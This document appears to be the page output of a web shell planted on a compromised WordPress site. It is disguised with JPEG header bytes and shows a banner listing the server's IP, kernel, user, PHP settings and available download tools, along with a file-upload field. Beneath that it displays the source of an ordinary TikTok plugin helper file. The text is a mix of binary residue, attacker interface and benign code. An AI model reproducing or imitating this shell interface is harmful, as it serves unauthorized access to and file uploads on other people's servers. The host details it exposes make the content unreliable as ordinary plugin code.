????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./tempvsty/eaabusiness.com/custom/wp-content/plugins/tiktok-for-business/admin/tts/ |
Upload File : |
<?php /** * TikTok common code * such as const, util function */ namespace tiktok\admin\tts\common; if ( ! defined( 'ABSPATH' ) ) { die; } /** * Inserts a new key/value after the key in the array. * * If the $needle doesn't exist in the array, the new key and value wil be * appended to the end of the $haystack array. * * @param string $needle The array key to insert the element after * @param array $haystack An array to insert the element into * @param string $new_key The key to insert * @param mixed $new_value An value to insert * * @return array The new array. */ function array_insert_after( $needle, $haystack, $new_key, $new_value ) { // If the needle doesn't exist, just append to the end of the array. if ( ! array_key_exists( $needle, $haystack ) ) { $haystack[ $new_key ] = $new_value; return $haystack; } $new_array = array(); foreach ( $haystack as $key => $value ) { $new_array[ $key ] = $value; if ( $key === $needle ) { $new_array[ $new_key ] = $new_value; } } return $new_array; } /** * Helper to create links to edit.php with params. * * @since 4.4.0 * * @param string[] $args Associative array of URL parameters for the link. * @param string $link_text Link text. * @param string $css_class Optional. Class attribute. Default empty string. * @return string The formatted link string. * * located in wordpress/wp-admin/includes/class-wp-posts-list-talbe.php */ function get_edit_link( $args, $link_text, $css_class = '' ) { $url = add_query_arg( $args, 'edit.php' ); $class_html = ''; $aria_current = ''; if ( ! empty( $css_class ) ) { $class_html = sprintf( ' class="%s"', esc_attr( $css_class ) ); if ( 'current' === $css_class ) { $aria_current = ' aria-current="page"'; } } return sprintf( '<a href="%s"%s%s>%s</a>', esc_url( $url ), $class_html, $aria_current, $link_text ); } /** * The origin of Tiktok Seller Center in different countries are different * We need to set the origin according to the country */ function get_tts_seller_center_origin() { $country_origin_map = array( 'GB' => 'uk', 'US' => 'us', 'ID' => 'id', 'TH' => 'th', 'MY' => 'my', 'VN' => 'vn', 'PH' => 'ph', ); $country = WC()->countries->get_base_country(); return "https://seller-{$country_origin_map[$country]}.tiktok.com"; }